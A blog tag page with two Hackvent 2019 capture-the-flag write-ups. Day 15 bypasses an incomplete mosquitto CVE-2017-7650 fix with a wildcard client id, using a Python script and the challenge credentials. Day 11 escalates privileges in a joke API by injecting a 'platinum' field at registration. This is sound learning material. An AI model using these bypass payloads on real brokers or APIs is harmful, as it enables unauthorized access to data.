Tag: input validation

RSS

Posts Tagged ‘input validation’

Hackvent 2019: Day 15

15 Dec 2019

CTF: Hackvent 2019
Link to challenge: https://academy.hacking-lab.com

Date Completed: 15 December 2019

Challenge

HV19.15 Santa’s Workshop

Introduction
The Elves are working very hard.
Look at  to see how busy they are.

Introduction

The Elves are working very hard.

Look at to see how busy they are.

Page snapshot:

<img class="alignnone size-full wp-image-1097" src="https://mobeigi.com/blog/uploads/chrome_1ZfClccQZP.png" alt="" width="1743" height="944" />

1	<img class="alignnone size-full wp-image-1097" src="https://mobeigi.com/blog/uploads/chrome_1ZfClccQZP.png" alt="" width="1743" height="944" />

Solution

NOTE: Unfortunately, the server for this challenge was broken for a long time and caused a lot of pain and suffering. In the end it took 6 hours longer than it needed to.

We land on a nice landing page with a counter which counts upwards. We do some snooping around to see what resources are used on the page and come across two javascript files of interest.

config.js

var mqtt;
var reconnectTimeout = 100;
var host = 'whale.hacking-lab.com';
var port = 9001;
var useTLS = false;
var username = 'workshop';
var password = '2fXc7AWINBXyruvKLiX';
var clientid = localStorage.getItem("clientid");
if (clientid == null) {
clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0');
localStorage.setItem("clientid", clientid);
}
var topic = 'HV19/gifts/'+clientid;
// var topic = 'HV19/gifts/'+clientid+'/flag-tbd';
var cleansession = true;

var mqtt;

var reconnectTimeout = 100;

var host = 'whale.hacking-lab.com';

var port = 9001;

var useTLS = false;

var username = 'workshop';

var password = '2fXc7AWINBXyruvKLiX';

var clientid = localStorage.getItem("clientid");

if (clientid == null) {

clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0');

localStorage.setItem("clientid", clientid);

}

var topic = 'HV19/gifts/'+clientid;

// var topic = 'HV19/gifts/'+clientid+'/flag-tbd';

var cleansession = true;

mqtt.js

function MQTTconnect() {
if (typeof path == "undefined") {
path = '';
}
mqtt = new Paho.MQTT.Client(
host,
port,
path,
clientid
);
var options = {
timeout: 3,
keepAliveInterval: 60,
useSSL: useTLS,
cleanSession: cleansession,
onSuccess: onConnect,
onFailure: function (message) {
$('#status').val("Connection failed: " + message.errorMessage + "Retrying");
setTimeout(MQTTconnect, reconnectTimeout);
}
};
mqtt.onConnectionLost = onConnectionLost;
mqtt.onMessageArrived = onMessageArrived;
if (username != null) {
options.userName = username;
options.password = password;
}
mqtt.connect(options);
}
function onConnect() {
mqtt.subscribe(topic, {qos: 0});
}
function onConnectionLost(response) {
setTimeout(MQTTconnect, reconnectTimeout);
$('#alert').html('<div class="alert alert-warning" role="alert">Uhm.. somebody is currently messing with me. Try refreshing the page. I lost connection but why? ?</div>');
};
function onMessageArrived(message) {
//var topic = message.destinationName;
var payload = message.payloadString;
countUp.update(payload);
};

function MQTTconnect() {

if (typeof path == "undefined") {

path = '';

}

mqtt = new Paho.MQTT.Client(

host,

port,

path,

clientid

);

var options = {

timeout: 3,

keepAliveInterval: 60,

useSSL: useTLS,

cleanSession: cleansession,

onSuccess: onConnect,

onFailure: function (message) {

$('#status').val("Connection failed: " + message.errorMessage + "Retrying");

setTimeout(MQTTconnect, reconnectTimeout);

}

};

mqtt.onConnectionLost = onConnectionLost;

mqtt.onMessageArrived = onMessageArrived;

if (username != null) {

options.userName = username;

options.password = password;

}

mqtt.connect(options);

}

function onConnect() {

mqtt.subscribe(topic, {qos: 0});

}

function onConnectionLost(response) {

setTimeout(MQTTconnect, reconnectTimeout);

$('#alert').html('<div class="alert alert-warning" role="alert">Uhm.. somebody is currently messing with me. Try refreshing the page. I lost connection but why? ?</div>');

};

function onMessageArrived(message) {

//var topic = message.destinationName;

var payload = message.payloadString;

countUp.update(payload);

};

Basically, we are authenticating with a MQTT messaging service. We subscribe to the topic 'HV19/gifts/'+clientid initially which returns the number of gifts made by the elves so far which increases by 1-3 every second or so:

7347836

7347839

7347842

7347843

7347846

7347849

7347850

7347853

We see a commented out topic 'HV19/gifts/'+clientid+'/flag-tbd' but don’t get anything when we subscribe to it. We have our client id which was initially 0395226010678529 in our local storage. We also decide to convert the calls on the page into a python script for ease of testing. After subscribing to the wildcard # topic we don’t see any extra messages but we do something interesting when subscribing to the $SYS/# topic. We see the version of the MQTT server returned as:

mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)

1	mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)

We inspect the CVE-2017-7650 and find the following releases including some commits which patches the issue:
https://mosquitto.org/blog/2017/05/security-advisory-cve-2017-7650/
https://github.com/eclipse/mosquitto/commit/9af3c6958fe1b2c653a7952f6f144bcf6ecfbc0d
https://github.com/eclipse/mosquitto/commit/cd17ca45cd313dc00480091505f708858db73ee9

In short we are told:

Pattern based ACLs can be bypassed by clients that set their username/client id to '#' or '+'. This allows locally or remotely connected clients to access MQTT topics that they do have the rights to.

1	Pattern based ACLs can be bypassed by clients that set their username/client id to '#' or '+'. This allows locally or remotely connected clients to access MQTT topics that they do have the rights to.

From the official patches we see the fix involves checking to see if the client_id or username contains the wildcard # or + symbols. If so, the connection is refused.

However, we notice that our client_id is only rejected if it starts with a # or + symbol. Therefore the elves patch incorrectly used a string startswith check instead of a string contains check. Also we consider the commented out topic in config.js which is HV19/gifts/'+clientid+'/flag-tbd and guess that the final flag will look something like this HV19/gifts/0395226010678529/HV19{flag_here}. It seems like our user workshop does not have permissions to read from this topic even though its nested under our client id.

Therefore, we try the client id 0395226010678529/# which should match the flag topic name if we subscribe to all topics (i.e. subscribe to # topic).

This is the script we ended up using:

# Hackvent 2019 - Day 15
# Mo Beigi (https://mobeigi.com)
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, rc):
print("Connected to MQTT broker.\n\n")
client.subscribe('$SYS/#')
client.subscribe('#')
print("Waiting for messages...\n\n")
def on_message(client, userdata, msg):
print(str(msg.topic) + "\t" + str(msg.payload))
def exploit(host):
client = mqtt.Client(client_id='0395226010678529/#', clean_session=True, transport='websockets')
client.on_connect = on_connect
client.on_message = on_message
print("Connecting to MQTT broker on %s" % host)
client.username_pw_set('workshop', password='2fXc7AWINBXyruvKLiX')
client.connect(host, 9001, 60, '')
client.loop_forever()
exploit("whale.hacking-lab.com")

# Hackvent 2019 - Day 15

# Mo Beigi (https://mobeigi.com)

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, rc):

print("Connected to MQTT broker.\n\n")

client.subscribe('$SYS/#')

client.subscribe('#')

print("Waiting for messages...\n\n")

def on_message(client, userdata, msg):

print(str(msg.topic) + "\t" + str(msg.payload))

def exploit(host):

client = mqtt.Client(client_id='0395226010678529/#', clean_session=True, transport='websockets')

client.on_connect = on_connect

client.on_message = on_message

print("Connecting to MQTT broker on %s" % host)

client.username_pw_set('workshop', password='2fXc7AWINBXyruvKLiX')

client.connect(host, 9001, 60, '')

client.loop_forever()

exploit("whale.hacking-lab.com")

Running this spits out the following response which contains our flag as part of the topic name:

PS C:\Users\Mo\Desktop> py -3 .\spoilt.py
Connecting to MQTT broker on whale.hacking-lab.com
Connected to MQTT broker.
Waiting for messages...
$SYS/broker/version     b'mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}   b'Congrats, you got it. The elves should not overrate their smartness!!!'
HV19/gifts/0395226010678529     b'7352550'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}   b'Congrats, you got it. The elves should not overrate their smartness!!!'
HV19/gifts/0395226010678529     b'7352551'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}   b'Congrats, you got it. The elves should not overrate their smartness!!!'
HV19/gifts/0395226010678529     b'7352551'
HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}   b'Congrats, you got it. The elves should not overrate their smartness!!!'

PS C:\Users\Mo\Desktop> py -3 .\spoilt.py

Connecting to MQTT broker on whale.hacking-lab.com

Connected to MQTT broker.

Waiting for messages...

$SYS/broker/version b'mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)'

HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'

HV19/gifts/0395226010678529 b'7352550'

HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'

HV19/gifts/0395226010678529 b'7352551'

HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'

HV19/gifts/0395226010678529 b'7352551'

HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'

Flag: HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}

No Comments

Posted Mo BeigiPersianMG in Hackvent 2019

Hackvent 2019: Day 11

11 Dec 2019

CTF: Hackvent 2019
Link to challenge: https://academy.hacking-lab.com

Date Completed: 11 December 2019

Challenge

HV19.11 Frolicsome Santa Jokes API

Introduction
The elves created an API where you get random jokes about santa.
Resources
Go and try it here: http://whale.hacking-lab.com:10101

Introduction

The elves created an API where you get random jokes about santa.

Resources

Go and try it here: http://whale.hacking-lab.com:10101

Html file mirror: FSJA API Description

Solution

We have the spec for the FSJA API that the elves have made. We use Postman to play around with the API to get a feel for how it works.

Following the instructions, we are able to register a new user and authenticate to get a token.
We use the following payload for our user data:

{
"username": "mobeigi_test_1",
"password": "ABCDEFG123"
}

{

"username": "mobeigi_test_1",

"password": "ABCDEFG123"

}

Upon logging in with the /fsja/login endpoint we get a token which looks like this:

{
"message": "Token generated",
"code": 201,
"token": "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoibW9iZWlnaV90ZXN0XzEiLCJwbGF0aW51bSI6ZmFsc2V9LCJleHAiOjE1NzYwNTk5MzQuNzgwMDAwMDAwfQ.pbVVcSUmcBEgsV1vYcUs4tVwchH5GP8SaHulTIczpac"
}

{

"message": "Token generated",

"code": 201,

"token": "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoibW9iZWlnaV90ZXN0XzEiLCJwbGF0aW51bSI6ZmFsc2V9LCJleHAiOjE1NzYwNTk5MzQuNzgwMDAwMDAwfQ.pbVVcSUmcBEgsV1vYcUs4tVwchH5GP8SaHulTIczpac"

}

The token looks like base64 encoded data. In fact, it happens to be a JWT token.

We finally use the /fsja/random endpoint to get a joke:

{
"joke": "People really act weird at Christmas time! What other time of year do you sit in front of a dead tree in the living room and eat nuts and sweets out of your socks?",
"author": "Author Unknown",
"platinum": false
}

{

"joke": "People really act weird at Christmas time! What other time of year do you sit in front of a dead tree in the living room and eat nuts and sweets out of your socks?",

"author": "Author Unknown",

"platinum": false

}

The platinum field stands out to me the most.
As a random hunch, I decide to register a user and provide the platinum field value in the payload myself like so:

{
"username": "mobeigi_test_2",
"password": "ABCDEFG123",
"platinum": true
}

{

"username": "mobeigi_test_2",

"password": "ABCDEFG123",

"platinum": true

}

I generate another joke and the API kindly provides us with our flag:

{
"joke": "Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}",
"author": "Santa",
"platinum": true
}

{

"joke": "Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}",

"author": "Santa",

"platinum": true

}

Flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}

Bonus

This challenge also contained the solution to HV19.H2 Hidden Three

No Comments

Posted Mo BeigiPersianMG in Hackvent 2019

Mo Beigi

Posts Tagged ‘input validation’

Hackvent 2019: Day 15

Challenge

HV19.15 Santa’s Workshop

Solution

Hackvent 2019: Day 11

Challenge

HV19.11 Frolicsome Santa Jokes API

Solution

Bonus

Pages

Recent Posts

Recent Comments

My Networks

Site Stats